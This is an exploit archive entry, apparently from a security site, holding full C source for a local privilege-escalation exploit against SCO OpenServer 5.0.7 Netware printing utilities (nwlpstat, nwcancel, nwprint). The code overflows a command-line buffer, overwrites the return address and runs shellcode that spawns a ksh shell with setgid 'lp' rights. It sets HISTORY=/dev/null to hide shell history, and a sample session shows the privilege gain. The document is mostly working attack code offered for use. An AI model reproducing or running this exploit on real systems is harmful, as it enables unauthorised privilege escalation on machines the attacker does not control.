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prdelka-vs-SCO-netwarex.c

prdelka-vs-SCO-netwarex.c
Posted Oct 27, 2006
Authored by prdelka | Site prdelka.blackart.org.uk

SCO Openserver 5.0.7 Netware Printing utilities exploit. Multiple buffer overflows exist in the handling of command line arguments in SCO Openserver Netware printing utils. EIP is overwritten after 997 bytes are supplied on the command line. The following binaries are installed setgid 'lp' as default and are vulnerable to this attack.

tags | exploit, overflow
SHA-256 | 83a9ce0000e4291a949433b76dd8e4502dbf1c5dbe40d16fb8f14962865b2148

prdelka-vs-SCO-netwarex.c

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/* SCO Openserver 5.0.7 Netware Printing utilities exploit
* =======================================================
* Multiple buffer overflows exist in the handling of command
* line arguements in SCO Openserver Netware printing utils.
* EIP is overwritten after 997 bytes are supplied on the
* command line. The following binaries are installed setgid
* 'lp' as default and are vulnerable to this attack.
*
* /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwlpstat
* /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwcancel
* /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwprint
*
* The exploit calculates the return address using a predictive
* environment.
*
* Example.
* $ uname -a
* SCO_SV scosysv 3.2 5.0.7 i386
* $ id
* uid=200(user) gid=50(group) groups=50(group)
* $ gcc prdelka-vs-SCO-netwarex.c -o prdelka-vs-SCO-netwarex
* $ ./prdelka-vs-SCO-netwarex /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwlpstat
* [ SCO Openserver 5.0.7 netware utilities privilege escalation exploit
* [ Using return address 0x8047f96
* $ id
* uid=200(user) gid=50(group) egid=18(lp) groups=50(group)
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x68\xff\xf8\xff\x3c\x6a\x65\x89"
"\xe6\xf7\x56\x04\xf6\x16\x31\xc0"
"\x50\x68""/ksh""\x68""/bin""\x89"
"\xe3\x50\x50\x53\xb0\x3b\xff\xd6";

int main(int argc,char* argv[])
{
char* buffer;
char *env[] = {"HISTORY=/dev/null",NULL};
long eip,ptr;
int i;
printf("[ SCO Openserver 5.0.7 netware utilities privilege escalation exploit\n");
if(argc < 2)
{
printf("[ Error : [path]\n[ Example: %s /opt/K/SCO/nuc/1.1.0Ba/public/usr/lib/nucrt/bin/nwlpstat\n",argv[0]);
exit(0);
}
eip = 0x41414141;
buffer = malloc(1000 + sizeof(eip) + strlen(shellcode));
memset(buffer,'\x00',1000 + sizeof(eip) + strlen(shellcode));
ptr = (long)buffer;
strncpy(buffer," ",1);
for(i = 1;i <= 998;i++)
{
strncat(buffer,"A",1);
}
ptr = ptr + 998;
eip = 0x08048000 -4 -strlen(argv[1]) -1;
memcpy((char*)ptr,(char*)&eip,4);
strncat(buffer,shellcode,strlen(shellcode));
printf("[ Using return address 0x%x\n",eip);
execle(argv[1],argv[1],buffer,NULL,env);
exit(0);
}

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